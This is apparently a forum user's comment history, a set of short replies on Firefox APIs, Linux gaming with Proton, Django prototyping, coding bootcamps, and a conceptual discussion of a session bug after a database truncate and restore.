I can't relate. It's so nice for quickly going deep on a subject you're interested in. Who cares if you typed the code in plain English?

It would be fun to plop Claude Code down on a phone and play with the baseband processor.

>And Web Serial reached mainline Firefox last week.

That's good news. I wish FF wasn't so conservative... they're missing a lot of cool APIs. Sometimes I wonder who they think their audience is. I suppose they would know better than I would.

One of the greatest texts ever written. Ok maybe just one of my favorites. I wouldn't mind a 2nd edition though... surely the system call interface has changed a bit since 2010.

You're in luck, Divinity 2 runs perfectly for me on linux with Proton (with a little bit of work). Check protondb.com.

catfood — Sun, 03 Jun 2018 04:57:52 +0000

I don't do anything special for prototyping, I just use what I normally do if I were creating the real thing.

> django-admin startproject > copy+paste my webpack config for React > copy+paste my general management scripts into the package.json (mostly scripts to build the client, and if working locally also start a server)

Then if I want to deploy it, I just install nginx and gunicorn and again copy+paste my configs for those.

If I want to use mysql it's not too much trouble, takes 10 mins to get it up and running and my application hooked up to it.

Yeah they must mean new accounts, if not then I'm lost. I guess it could have reset autoincrement but they said it didn't. The only other thing I can think of is that the signed token that's put in localStorage is sent to the server like "someuser|sometoken", the server inspects sometoken, says it checks out, then takes the client at its word that it's someuser.

The part of that that I don't get is how a new user could have the same ID as an old (truncated) user since "our system created new records for them, with primary keys generated from the existing sequence (PostgreSQL does not reset id sequences on truncate)."

Do they mean that the only potentially exposed accounts are those that signed up after the database was restored?

So the session keys mapped to usernames, rather than IDs in the database? Otherwise, when the database is restored with the old user IDs, the session would become invalid instead of continuing to work. This is what I'm seeing:

1. Tables truncated. 2. In this window, someone creates an account with a username that existed in the dropped database. 3. They see a blank user page because a new user record was created. 4. Database restored. 5. It's as if you're logged into the original user's account.

Pretty misleading headline.

That's how it should be done yeah. Developers on Windows seem to be really loose in their use of TCP or UDP for IPC. Even my mouse driver opens up a port on 0.0.0.0.

The Linux Programming Interface is my favorite software book of all time. I had a problem that I think a lot of other people had, where I learned C the language pretty in depth, but didn't really know what to do with it until I read this.

The point of the bootcamp is the job you get after it's over. I imagine bootcamps make deals with the local tech companies to direct the grads to them, so the bootcamp can boast high hiring rates, and the tech companies gets devs for cheap.
